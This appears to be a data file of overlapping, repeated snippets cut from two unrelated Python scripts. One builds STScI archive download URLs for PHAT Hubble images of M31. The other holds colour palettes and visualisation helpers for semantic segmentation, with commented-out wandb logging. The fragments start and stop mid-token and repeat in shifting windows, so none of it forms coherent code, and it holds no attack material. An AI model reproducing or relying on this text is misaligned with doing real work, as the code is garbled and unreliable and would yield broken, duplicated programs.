os.chdir(brick_path) for file in [acs_475, acs_814, wfcir_110, wfcir_160,", "21: 12055, 22: 12076, 23: 12070} for i in range(1, 24): if i", "PHAT import os from os.path import join as osjoin output = \"/home/ekoch/bigdata/ekoch/M31/PHAT/\" baseurl", "2: 12073, 3: 12109, 4: 12107, 5: 12074, 6: 12105, 7: 12113, 8:", "# This is easier than webscraping right now. brick_dict = {1: 12058, 2:", "\"https://archive.stsci.edu/pub/hlsp/phat/\" # This is easier than webscraping right now. brick_dict = {1: 12058,", "8: 12075, 9: 12057, 10: 12111, 11: 12115, 12: 12071, 13: 12114, 14:", "webscraping right now. brick_dict = {1: 12058, 2: 12073, 3: 12109, 4: 12107,", "{1: 12058, 2: 12073, 3: 12109, 4: 12107, 5: 12074, 6: 12105, 7:", "for PHAT import os from os.path import join as osjoin output = \"/home/ekoch/bigdata/ekoch/M31/PHAT/\"", "= f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f336w_v1_drz.fits\" else: brickurl = f\"{baseurl}/brick{i}\" acs_475", "7: 12113, 8: 12075, 9: 12057, 10: 12111, 11: 12115, 12: 12071, 13:" ]
[ "(70, 130, 180)], '3':[(128, 64, 128), (250, 170, 160), (81, 0, 81), (244,", "(220, 20, 60), (255, 0, 0), (0, 0, 230), (255, 204, 54), (0,", "if(n_classes<len(colors['0'])): id = 0 elif(n_classes<len(colors['1'])): id = 1 elif(n_classes<len(colors['2'])): id = 2 else:", "(152, 251, 152), (220, 20, 60), (246, 198, 145), (255, 0, 0), (0,", "(81, 0, 81), (244, 35, 232), (230, 150, 140), (152, 251, 152), (220,", "prediction = visualize(pred[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) # mask = visualize(label[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) # out", "(244, 35, 232), (0, 0, 230), (220, 190, 40), (70, 70, 70), (70,", "os colors = { '0':[(128, 64, 128), (244, 35, 232), (0, 0, 230),", "(230, 150, 140), (220, 20, 60), (255, 0, 0), (0, 0, 230), (119,", "(153, 153, 153), (169, 187, 214), (70, 70, 70), (150, 100, 100), (150,", "torch.argmax(pred[0],dim = 1).detach().cpu().numpy().astype(np.uint8) # for i in range(batch_size): # errormap = error_map(pred[i],label[i],cfg) #", "20, 60), (255, 0, 0), (0, 0, 230), (255, 204, 54), (0, 0,", "(0, 0, 70), (0, 60, 100), (0, 0, 90), (0, 0, 110), (0,", "153, 153), (174, 64, 67), (153, 153, 153), (70, 70, 70), (107, 142,", "153, 153), (153, 153, 153), (169, 187, 214), (70, 70, 70), (150, 100,", "(150, 100, 100), (150, 120, 90), (107, 142, 35), (70, 130, 180), (169,", "(0, 0, 230), (220, 190, 40), (70, 70, 70), (70, 130, 180), (0,", "(0, 0, 90), (220, 190, 40), (102, 102, 156), (190, 153, 153), (180,", "(244, 35, 232), (230, 150, 140), (152, 251, 152), (220, 20, 60), (246,", "(70, 130, 180), (169, 187, 214), (0, 0, 142)] } def visualize(mask,n_classes,ignore_label,gt =", "(220, 20, 60), (255, 0, 0), (0, 0, 230), (119, 11, 32), (255,", "(0, 0, 70), (220, 190, 40), (190, 153, 153), (174, 64, 67), (153,", "visualize(pred[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) # mask = visualize(label[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) # out = np.concatenate([((input[i]*", "232), (230, 150, 140), (220, 20, 60), (255, 0, 0), (0, 0, 230),", "i in range(batch_size): # errormap = error_map(pred[i],label[i],cfg) # wandb_image.append(wandb.Image(cv2.resize(cv2.cvtColor(input[i], cv2.COLOR_BGR2RGB),(cfg.dataset.width//4,cfg.dataset.height//4)), masks={ # \"predictions\"", ": cv2.resize(errormap,(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # } # })) # if(cfg.valid.write): #", "0, 0)], '1':[(128, 64, 128), (250, 170, 160), (244, 35, 232), (230, 150,", "40), (102, 102, 156), (190, 153, 153), (180, 165, 180), (174, 64, 67),", "187, 214), (70, 70, 70), (150, 100, 100), (150, 120, 90), (107, 142,", "(255,255,255) return out_mask def error_map(pred,gt,cfg): canvas = pred.copy() canvas[canvas == gt] = 255", "= None): if(n_classes<len(colors['0'])): id = 0 elif(n_classes<len(colors['1'])): id = 1 elif(n_classes<len(colors['2'])): id =", "(246, 198, 145), (255, 0, 0), (0, 0, 230), (119, 11, 32), (255,", "64, 67), (153, 153, 153), (70, 70, 70), (107, 142, 35), (70, 130,", "id = 1 elif(n_classes<len(colors['2'])): id = 2 else: id = 3 out_mask =", "import torch import os colors = { '0':[(128, 64, 128), (244, 35, 232),", "(136, 143, 153), (220, 190, 40), (102, 102, 156), (190, 153, 153), (180,", "143, 153), (220, 190, 40), (102, 102, 156), (190, 153, 153), (180, 165,", "sample['image'].permute(0,2,3,1).detach().cpu().numpy() # label = sample['label'].detach().cpu().numpy().astype(np.uint8) # pred = torch.argmax(pred[0],dim = 1).detach().cpu().numpy().astype(np.uint8) # for", "= (255,255,255) return out_mask def error_map(pred,gt,cfg): canvas = pred.copy() canvas[canvas == gt] =", "} # })) # if(cfg.valid.write): # prediction = visualize(pred[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) # mask", "100), (107, 142, 35), (70, 130, 180)], '3':[(128, 64, 128), (250, 170, 160),", "'2':[(128, 64, 128), (250, 170, 160), (244, 35, 232), (230, 150, 140), (220,", "70), (150, 100, 100), (107, 142, 35), (70, 130, 180)], '3':[(128, 64, 128),", "170, 30), (153, 153, 153), (169, 187, 214), (70, 70, 70), (150, 100,", "# })) # if(cfg.valid.write): # prediction = visualize(pred[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) # mask =", "70), (0, 60, 100), (0, 0, 90), (0, 0, 110), (0, 80, 100),", "= label[i]) # mask = visualize(label[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) # out = np.concatenate([((input[i]* np.array(cfg.dataset.mean)", "170, 160), (81, 0, 81), (244, 35, 232), (230, 150, 140), (152, 251,", "for i in range(n_classes): out_mask[mask == i] = colors[str(id)][i] if(gt is not None):", "wandb_image.append(wandb.Image(cv2.resize(cv2.cvtColor(input[i], cv2.COLOR_BGR2RGB),(cfg.dataset.width//4,cfg.dataset.height//4)), masks={ # \"predictions\" : { # \"mask_data\" : cv2.resize(pred[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\"", "errormap = error_map(pred[i],label[i],cfg) # wandb_image.append(wandb.Image(cv2.resize(cv2.cvtColor(input[i], cv2.COLOR_BGR2RGB),(cfg.dataset.width//4,cfg.dataset.height//4)), masks={ # \"predictions\" : { # \"mask_data\"", "20, 60), (246, 198, 145), (255, 0, 0), (0, 0, 230), (119, 11,", "153), (153, 153, 153), (169, 187, 214), (70, 70, 70), (150, 100, 100),", "})) # if(cfg.valid.write): # prediction = visualize(pred[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) # mask = visualize(label[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt", "232), (230, 150, 140), (152, 251, 152), (220, 20, 60), (246, 198, 145),", "(0, 0, 142), (0, 0, 70), (0, 60, 100), (0, 0, 90), (220,", "70, 70), (70, 130, 180), (0, 0, 0)], '1':[(128, 64, 128), (250, 170,", "0, 230), (220, 190, 40), (70, 70, 70), (70, 130, 180), (0, 0,", "(0, 60, 100), (0, 0, 90), (0, 0, 110), (0, 80, 100), (136,", "128), (250, 170, 160), (81, 0, 81), (244, 35, 232), (230, 150, 140),", "(169, 187, 214), (70, 70, 70), (150, 100, 100), (107, 142, 35), (70,", "# \"error_map\" : { # \"mask_data\" : cv2.resize(errormap,(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels #", "(150, 120, 90), (107, 142, 35), (70, 130, 180), (169, 187, 214), (0,", "214), (0, 0, 142)] } def visualize(mask,n_classes,ignore_label,gt = None): if(n_classes<len(colors['0'])): id = 0", "0, 90), (0, 0, 110), (0, 80, 100), (136, 143, 153), (220, 190,", "(0, 60, 100), (0, 0, 90), (220, 190, 40), (102, 102, 156), (190,", "(255, 204, 54), (0, 0, 70), (220, 190, 40), (190, 153, 153), (174,", "(107, 142, 35), (70, 130, 180)], '2':[(128, 64, 128), (250, 170, 160), (244,", "220, 0), (250, 170, 30), (153, 153, 153), (153, 153, 153), (169, 187,", "import os colors = { '0':[(128, 64, 128), (244, 35, 232), (0, 0,", "ignore_label] = (255,255,255) out_mask[np.where((out_mask == [0, 0, 0]).all(axis=2))] = (255,255,255) return out_mask def", "(70, 130, 180)], '2':[(128, 64, 128), (250, 170, 160), (244, 35, 232), (230,", "== [0, 0, 0]).all(axis=2))] = (255,255,255) return out_mask def error_map(pred,gt,cfg): canvas = pred.copy()", "= label[i]) # out = np.concatenate([((input[i]* np.array(cfg.dataset.mean) + np.array(cfg.dataset.std))*255).astype(int),mask,prediction,visualize(errormap,cfg.model.n_classes,cfg.Loss.ignore_label,label[i])],axis = 1) # cv2.imwrite(os.path.join(cfg.train.output_dir,'Visualization',str(epoch),sample['img_name'][i]),out)", "i in range(n_classes): out_mask[mask == i] = colors[str(id)][i] if(gt is not None): out_mask[gt", "pred.copy() canvas[canvas == gt] = 255 canvas[gt == cfg.Loss.ignore_label] = 255 return canvas", "else: id = 3 out_mask = np.zeros((mask.shape[0],mask.shape[1],3)) for i in range(n_classes): out_mask[mask ==", "153, 153), (169, 187, 214), (70, 70, 70), (150, 100, 100), (107, 142,", "= np.zeros((mask.shape[0],mask.shape[1],3)) for i in range(n_classes): out_mask[mask == i] = colors[str(id)][i] if(gt is", "(0, 0, 110), (0, 80, 100), (136, 143, 153), (220, 190, 40), (102,", "= torch.argmax(pred[0],dim = 1).detach().cpu().numpy().astype(np.uint8) # for i in range(batch_size): # errormap = error_map(pred[i],label[i],cfg)", "187, 214), (70, 70, 70), (150, 100, 100), (107, 142, 35), (70, 130,", "\"mask_data\" : cv2.resize(label[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # } # , # \"error_map\"", "35), (70, 130, 180), (169, 187, 214), (0, 0, 142)] } def visualize(mask,n_classes,ignore_label,gt", "canvas[canvas == gt] = 255 canvas[gt == cfg.Loss.ignore_label] = 255 return canvas #", "None): if(n_classes<len(colors['0'])): id = 0 elif(n_classes<len(colors['1'])): id = 1 elif(n_classes<len(colors['2'])): id = 2", "232), (0, 0, 230), (220, 190, 40), (70, 70, 70), (70, 130, 180),", "\"predictions\" : { # \"mask_data\" : cv2.resize(pred[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # },", "in range(batch_size): # errormap = error_map(pred[i],label[i],cfg) # wandb_image.append(wandb.Image(cv2.resize(cv2.cvtColor(input[i], cv2.COLOR_BGR2RGB),(cfg.dataset.width//4,cfg.dataset.height//4)), masks={ # \"predictions\" :", "np # import wandb import cv2 import torch import os colors = {", ": class_labels # }, # \"ground_truth\" : { # \"mask_data\" : cv2.resize(label[i],(cfg.dataset.width//4,cfg.dataset.height//4)), #", "(250, 170, 160), (244, 35, 232), (230, 150, 140), (220, 20, 60), (255,", "130, 180)], '2':[(128, 64, 128), (250, 170, 160), (244, 35, 232), (230, 150,", "64, 67), (220, 220, 0), (250, 170, 30), (153, 153, 153), (153, 153,", "# }, # \"ground_truth\" : { # \"mask_data\" : cv2.resize(label[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" :", "wandb import cv2 import torch import os colors = { '0':[(128, 64, 128),", "(250, 170, 160), (81, 0, 81), (244, 35, 232), (230, 150, 140), (152,", "(230, 150, 140), (220, 20, 60), (255, 0, 0), (0, 0, 230), (255,", "64, 128), (244, 35, 232), (0, 0, 230), (220, 190, 40), (70, 70,", "# \"class_labels\" : class_labels # }, # \"ground_truth\" : { # \"mask_data\" :", "(220, 190, 40), (102, 102, 156), (190, 153, 153), (180, 165, 180), (174,", "100), (0, 0, 90), (220, 190, 40), (102, 102, 156), (190, 153, 153),", "(107, 142, 35), (70, 130, 180)], '3':[(128, 64, 128), (250, 170, 160), (81,", "(70, 70, 70), (107, 142, 35), (70, 130, 180)], '2':[(128, 64, 128), (250,", "= visualize(pred[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) # mask = visualize(label[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) # out =", "= colors[str(id)][i] if(gt is not None): out_mask[gt == ignore_label] = (255,255,255) out_mask[np.where((out_mask ==", "60, 100), (0, 0, 90), (0, 0, 110), (0, 80, 100), (136, 143,", "20, 60), (255, 0, 0), (0, 0, 230), (119, 11, 32), (255, 204,", "# label = sample['label'].detach().cpu().numpy().astype(np.uint8) # pred = torch.argmax(pred[0],dim = 1).detach().cpu().numpy().astype(np.uint8) # for i", "# input = sample['image'].permute(0,2,3,1).detach().cpu().numpy() # label = sample['label'].detach().cpu().numpy().astype(np.uint8) # pred = torch.argmax(pred[0],dim =", "torch import os colors = { '0':[(128, 64, 128), (244, 35, 232), (0,", "35), (70, 130, 180)], '2':[(128, 64, 128), (250, 170, 160), (244, 35, 232),", "# pred = torch.argmax(pred[0],dim = 1).detach().cpu().numpy().astype(np.uint8) # for i in range(batch_size): # errormap", "#Color dict import numpy as np # import wandb import cv2 import torch", "(255,255,255) out_mask[np.where((out_mask == [0, 0, 0]).all(axis=2))] = (255,255,255) return out_mask def error_map(pred,gt,cfg): canvas", "(119, 11, 32), (255, 204, 54), (0, 0, 142), (0, 0, 70), (0,", "\"class_labels\" : class_labels # } # , # \"error_map\" : { # \"mask_data\"", "204, 54), (0, 0, 70), (220, 190, 40), (190, 153, 153), (174, 64,", "out_mask[gt == ignore_label] = (255,255,255) out_mask[np.where((out_mask == [0, 0, 0]).all(axis=2))] = (255,255,255) return", "id = 0 elif(n_classes<len(colors['1'])): id = 1 elif(n_classes<len(colors['2'])): id = 2 else: id", "'0':[(128, 64, 128), (244, 35, 232), (0, 0, 230), (220, 190, 40), (70,", "30), (153, 153, 153), (153, 153, 153), (169, 187, 214), (70, 70, 70),", "None): out_mask[gt == ignore_label] = (255,255,255) out_mask[np.where((out_mask == [0, 0, 0]).all(axis=2))] = (255,255,255)", "100), (0, 0, 90), (0, 0, 110), (0, 80, 100), (136, 143, 153),", "0, 0), (0, 0, 230), (255, 204, 54), (0, 0, 70), (220, 190,", "cv2.resize(label[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # } # , # \"error_map\" : {", "80, 100), (136, 143, 153), (220, 190, 40), (102, 102, 156), (190, 153,", "251, 152), (220, 20, 60), (246, 198, 145), (255, 0, 0), (0, 0,", "70), (220, 190, 40), (190, 153, 153), (174, 64, 67), (153, 153, 153),", "\"ground_truth\" : { # \"mask_data\" : cv2.resize(label[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # }", "180), (0, 0, 0)], '1':[(128, 64, 128), (250, 170, 160), (244, 35, 232),", "# prediction = visualize(pred[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) # mask = visualize(label[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) #", "70, 70), (150, 100, 100), (107, 142, 35), (70, 130, 180)], '3':[(128, 64,", "# if(cfg.valid.write): # prediction = visualize(pred[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) # mask = visualize(label[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt =", "153), (70, 70, 70), (107, 142, 35), (70, 130, 180)], '2':[(128, 64, 128),", "= 255 return canvas # def segmentation_validation_visualization(epoch,sample,pred,batch_size,class_labels,wandb_image,cfg): # os.makedirs(os.path.join(cfg.train.output_dir,'Visualization',str(epoch)),exist_ok = True) # input", "142), (0, 0, 70), (0, 60, 100), (0, 0, 90), (0, 0, 110),", "= pred.copy() canvas[canvas == gt] = 255 canvas[gt == cfg.Loss.ignore_label] = 255 return", "70, 70), (150, 100, 100), (150, 120, 90), (107, 142, 35), (70, 130,", "== ignore_label] = (255,255,255) out_mask[np.where((out_mask == [0, 0, 0]).all(axis=2))] = (255,255,255) return out_mask", "(255, 0, 0), (0, 0, 230), (255, 204, 54), (0, 0, 70), (220,", "54), (0, 0, 70), (220, 190, 40), (190, 153, 153), (174, 64, 67),", "30), (153, 153, 153), (169, 187, 214), (70, 70, 70), (150, 100, 100),", "11, 32), (255, 204, 54), (0, 0, 142), (0, 0, 70), (0, 60,", "3 out_mask = np.zeros((mask.shape[0],mask.shape[1],3)) for i in range(n_classes): out_mask[mask == i] = colors[str(id)][i]", "{ # \"mask_data\" : cv2.resize(label[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # } # ,", "(0, 0, 230), (255, 204, 54), (0, 0, 70), (220, 190, 40), (190,", "170, 30), (153, 153, 153), (153, 153, 153), (169, 187, 214), (70, 70,", "# def segmentation_validation_visualization(epoch,sample,pred,batch_size,class_labels,wandb_image,cfg): # os.makedirs(os.path.join(cfg.train.output_dir,'Visualization',str(epoch)),exist_ok = True) # input = sample['image'].permute(0,2,3,1).detach().cpu().numpy() # label", "# os.makedirs(os.path.join(cfg.train.output_dir,'Visualization',str(epoch)),exist_ok = True) # input = sample['image'].permute(0,2,3,1).detach().cpu().numpy() # label = sample['label'].detach().cpu().numpy().astype(np.uint8) #", "(220, 190, 40), (70, 70, 70), (70, 130, 180), (0, 0, 0)], '1':[(128,", ": { # \"mask_data\" : cv2.resize(pred[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # }, #", "\"error_map\" : { # \"mask_data\" : cv2.resize(errormap,(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # }", "198, 145), (255, 0, 0), (0, 0, 230), (119, 11, 32), (255, 204,", "153), (169, 187, 214), (70, 70, 70), (150, 100, 100), (150, 120, 90),", "= sample['image'].permute(0,2,3,1).detach().cpu().numpy() # label = sample['label'].detach().cpu().numpy().astype(np.uint8) # pred = torch.argmax(pred[0],dim = 1).detach().cpu().numpy().astype(np.uint8) #", "70), (0, 60, 100), (0, 0, 90), (220, 190, 40), (102, 102, 156),", "255 canvas[gt == cfg.Loss.ignore_label] = 255 return canvas # def segmentation_validation_visualization(epoch,sample,pred,batch_size,class_labels,wandb_image,cfg): # os.makedirs(os.path.join(cfg.train.output_dir,'Visualization',str(epoch)),exist_ok", "35), (70, 130, 180)], '3':[(128, 64, 128), (250, 170, 160), (81, 0, 81),", "{ # \"mask_data\" : cv2.resize(pred[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # }, # \"ground_truth\"", "(174, 64, 67), (153, 153, 153), (70, 70, 70), (107, 142, 35), (70,", "(70, 70, 70), (70, 130, 180), (0, 0, 0)], '1':[(128, 64, 128), (250,", "= 2 else: id = 3 out_mask = np.zeros((mask.shape[0],mask.shape[1],3)) for i in range(n_classes):", "142, 35), (70, 130, 180), (169, 187, 214), (0, 0, 142)] } def", "190, 40), (102, 102, 156), (190, 153, 153), (180, 165, 180), (174, 64,", "70, 70), (107, 142, 35), (70, 130, 180)], '2':[(128, 64, 128), (250, 170,", "def visualize(mask,n_classes,ignore_label,gt = None): if(n_classes<len(colors['0'])): id = 0 elif(n_classes<len(colors['1'])): id = 1 elif(n_classes<len(colors['2'])):", "if(cfg.valid.write): # prediction = visualize(pred[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) # mask = visualize(label[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i])", "(220, 190, 40), (190, 153, 153), (174, 64, 67), (153, 153, 153), (70,", "error_map(pred[i],label[i],cfg) # wandb_image.append(wandb.Image(cv2.resize(cv2.cvtColor(input[i], cv2.COLOR_BGR2RGB),(cfg.dataset.width//4,cfg.dataset.height//4)), masks={ # \"predictions\" : { # \"mask_data\" : cv2.resize(pred[i],(cfg.dataset.width//4,cfg.dataset.height//4)),", "60), (255, 0, 0), (0, 0, 230), (255, 204, 54), (0, 0, 70),", "145), (255, 0, 0), (0, 0, 230), (119, 11, 32), (255, 204, 54),", "(0, 0, 90), (0, 0, 110), (0, 80, 100), (136, 143, 153), (220,", "0, 70), (220, 190, 40), (190, 153, 153), (174, 64, 67), (153, 153,", "60, 100), (0, 0, 90), (220, 190, 40), (102, 102, 156), (190, 153,", "70), (150, 100, 100), (150, 120, 90), (107, 142, 35), (70, 130, 180),", ": cv2.resize(pred[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # }, # \"ground_truth\" : { #", "(169, 187, 214), (0, 0, 142)] } def visualize(mask,n_classes,ignore_label,gt = None): if(n_classes<len(colors['0'])): id", "class_labels # } # })) # if(cfg.valid.write): # prediction = visualize(pred[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i])", "100, 100), (150, 120, 90), (107, 142, 35), (70, 130, 180), (169, 187,", "cfg.Loss.ignore_label] = 255 return canvas # def segmentation_validation_visualization(epoch,sample,pred,batch_size,class_labels,wandb_image,cfg): # os.makedirs(os.path.join(cfg.train.output_dir,'Visualization',str(epoch)),exist_ok = True) #", "= error_map(pred[i],label[i],cfg) # wandb_image.append(wandb.Image(cv2.resize(cv2.cvtColor(input[i], cv2.COLOR_BGR2RGB),(cfg.dataset.width//4,cfg.dataset.height//4)), masks={ # \"predictions\" : { # \"mask_data\" :", "# \"class_labels\" : class_labels # } # })) # if(cfg.valid.write): # prediction =", "range(n_classes): out_mask[mask == i] = colors[str(id)][i] if(gt is not None): out_mask[gt == ignore_label]", "= { '0':[(128, 64, 128), (244, 35, 232), (0, 0, 230), (220, 190,", "label = sample['label'].detach().cpu().numpy().astype(np.uint8) # pred = torch.argmax(pred[0],dim = 1).detach().cpu().numpy().astype(np.uint8) # for i in", "(244, 35, 232), (230, 150, 140), (220, 20, 60), (255, 0, 0), (0,", "153, 153), (70, 70, 70), (107, 142, 35), (70, 130, 180)], '2':[(128, 64,", "# wandb_image.append(wandb.Image(cv2.resize(cv2.cvtColor(input[i], cv2.COLOR_BGR2RGB),(cfg.dataset.width//4,cfg.dataset.height//4)), masks={ # \"predictions\" : { # \"mask_data\" : cv2.resize(pred[i],(cfg.dataset.width//4,cfg.dataset.height//4)), #", "140), (152, 251, 152), (220, 20, 60), (246, 198, 145), (255, 0, 0),", "(153, 153, 153), (70, 70, 70), (107, 142, 35), (70, 130, 180)], '2':[(128,", "import numpy as np # import wandb import cv2 import torch import os", "153), (169, 187, 214), (70, 70, 70), (150, 100, 100), (107, 142, 35),", "import cv2 import torch import os colors = { '0':[(128, 64, 128), (244,", "142, 35), (70, 130, 180)], '3':[(128, 64, 128), (250, 170, 160), (81, 0,", "180), (169, 187, 214), (0, 0, 142)] } def visualize(mask,n_classes,ignore_label,gt = None): if(n_classes<len(colors['0'])):", "numpy as np # import wandb import cv2 import torch import os colors", "\"mask_data\" : cv2.resize(errormap,(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # } # })) # if(cfg.valid.write):", "180)], '2':[(128, 64, 128), (250, 170, 160), (244, 35, 232), (230, 150, 140),", "142), (0, 0, 70), (0, 60, 100), (0, 0, 90), (220, 190, 40),", "label[i]) # out = np.concatenate([((input[i]* np.array(cfg.dataset.mean) + np.array(cfg.dataset.std))*255).astype(int),mask,prediction,visualize(errormap,cfg.model.n_classes,cfg.Loss.ignore_label,label[i])],axis = 1) # cv2.imwrite(os.path.join(cfg.train.output_dir,'Visualization',str(epoch),sample['img_name'][i]),out) #", "0, 90), (220, 190, 40), (102, 102, 156), (190, 153, 153), (180, 165,", "90), (220, 190, 40), (102, 102, 156), (190, 153, 153), (180, 165, 180),", "out = np.concatenate([((input[i]* np.array(cfg.dataset.mean) + np.array(cfg.dataset.std))*255).astype(int),mask,prediction,visualize(errormap,cfg.model.n_classes,cfg.Loss.ignore_label,label[i])],axis = 1) # cv2.imwrite(os.path.join(cfg.train.output_dir,'Visualization',str(epoch),sample['img_name'][i]),out) # return wandb_image", "165, 180), (174, 64, 67), (220, 220, 0), (250, 170, 30), (153, 153,", "= 1).detach().cpu().numpy().astype(np.uint8) # for i in range(batch_size): # errormap = error_map(pred[i],label[i],cfg) # wandb_image.append(wandb.Image(cv2.resize(cv2.cvtColor(input[i],", "(102, 102, 156), (190, 153, 153), (180, 165, 180), (174, 64, 67), (220,", "\"class_labels\" : class_labels # }, # \"ground_truth\" : { # \"mask_data\" : cv2.resize(label[i],(cfg.dataset.width//4,cfg.dataset.height//4)),", "(0, 0, 142)] } def visualize(mask,n_classes,ignore_label,gt = None): if(n_classes<len(colors['0'])): id = 0 elif(n_classes<len(colors['1'])):", "for i in range(batch_size): # errormap = error_map(pred[i],label[i],cfg) # wandb_image.append(wandb.Image(cv2.resize(cv2.cvtColor(input[i], cv2.COLOR_BGR2RGB),(cfg.dataset.width//4,cfg.dataset.height//4)), masks={ #", "masks={ # \"predictions\" : { # \"mask_data\" : cv2.resize(pred[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels", "150, 140), (152, 251, 152), (220, 20, 60), (246, 198, 145), (255, 0,", "81), (244, 35, 232), (230, 150, 140), (152, 251, 152), (220, 20, 60),", "255 return canvas # def segmentation_validation_visualization(epoch,sample,pred,batch_size,class_labels,wandb_image,cfg): # os.makedirs(os.path.join(cfg.train.output_dir,'Visualization',str(epoch)),exist_ok = True) # input =", "}, # \"ground_truth\" : { # \"mask_data\" : cv2.resize(label[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels", "0, 142), (0, 0, 70), (0, 60, 100), (0, 0, 90), (0, 0,", ": class_labels # } # })) # if(cfg.valid.write): # prediction = visualize(pred[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt =", "(0, 0, 0)], '1':[(128, 64, 128), (250, 170, 160), (244, 35, 232), (230,", "(174, 64, 67), (220, 220, 0), (250, 170, 30), (153, 153, 153), (153,", "os.makedirs(os.path.join(cfg.train.output_dir,'Visualization',str(epoch)),exist_ok = True) # input = sample['image'].permute(0,2,3,1).detach().cpu().numpy() # label = sample['label'].detach().cpu().numpy().astype(np.uint8) # pred", "128), (250, 170, 160), (244, 35, 232), (230, 150, 140), (220, 20, 60),", "} # , # \"error_map\" : { # \"mask_data\" : cv2.resize(errormap,(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\"", "colors = { '0':[(128, 64, 128), (244, 35, 232), (0, 0, 230), (220,", "0), (0, 0, 230), (119, 11, 32), (255, 204, 54), (0, 0, 142),", "(230, 150, 140), (152, 251, 152), (220, 20, 60), (246, 198, 145), (255,", "153, 153), (180, 165, 180), (174, 64, 67), (220, 220, 0), (250, 170,", "2 else: id = 3 out_mask = np.zeros((mask.shape[0],mask.shape[1],3)) for i in range(n_classes): out_mask[mask", "40), (70, 70, 70), (70, 130, 180), (0, 0, 0)], '1':[(128, 64, 128),", "0, 142), (0, 0, 70), (0, 60, 100), (0, 0, 90), (220, 190,", ": { # \"mask_data\" : cv2.resize(label[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # } #", "153), (220, 190, 40), (102, 102, 156), (190, 153, 153), (180, 165, 180),", "[0, 0, 0]).all(axis=2))] = (255,255,255) return out_mask def error_map(pred,gt,cfg): canvas = pred.copy() canvas[canvas", "230), (255, 204, 54), (0, 0, 70), (220, 190, 40), (190, 153, 153),", "35, 232), (230, 150, 140), (220, 20, 60), (255, 0, 0), (0, 0,", "0 elif(n_classes<len(colors['1'])): id = 1 elif(n_classes<len(colors['2'])): id = 2 else: id = 3", "(0, 0, 142), (0, 0, 70), (0, 60, 100), (0, 0, 90), (0,", "# out = np.concatenate([((input[i]* np.array(cfg.dataset.mean) + np.array(cfg.dataset.std))*255).astype(int),mask,prediction,visualize(errormap,cfg.model.n_classes,cfg.Loss.ignore_label,label[i])],axis = 1) # cv2.imwrite(os.path.join(cfg.train.output_dir,'Visualization',str(epoch),sample['img_name'][i]),out) # return", "(153, 153, 153), (153, 153, 153), (169, 187, 214), (70, 70, 70), (150,", "0, 230), (119, 11, 32), (255, 204, 54), (0, 0, 142), (0, 0,", "colors[str(id)][i] if(gt is not None): out_mask[gt == ignore_label] = (255,255,255) out_mask[np.where((out_mask == [0,", "(107, 142, 35), (70, 130, 180), (169, 187, 214), (0, 0, 142)] }", "visualize(mask,n_classes,ignore_label,gt = None): if(n_classes<len(colors['0'])): id = 0 elif(n_classes<len(colors['1'])): id = 1 elif(n_classes<len(colors['2'])): id", "def segmentation_validation_visualization(epoch,sample,pred,batch_size,class_labels,wandb_image,cfg): # os.makedirs(os.path.join(cfg.train.output_dir,'Visualization',str(epoch)),exist_ok = True) # input = sample['image'].permute(0,2,3,1).detach().cpu().numpy() # label =", "(190, 153, 153), (174, 64, 67), (153, 153, 153), (70, 70, 70), (107,", "gt] = 255 canvas[gt == cfg.Loss.ignore_label] = 255 return canvas # def segmentation_validation_visualization(epoch,sample,pred,batch_size,class_labels,wandb_image,cfg):", "150, 140), (220, 20, 60), (255, 0, 0), (0, 0, 230), (255, 204,", "142, 35), (70, 130, 180)], '2':[(128, 64, 128), (250, 170, 160), (244, 35,", "40), (190, 153, 153), (174, 64, 67), (153, 153, 153), (70, 70, 70),", "# errormap = error_map(pred[i],label[i],cfg) # wandb_image.append(wandb.Image(cv2.resize(cv2.cvtColor(input[i], 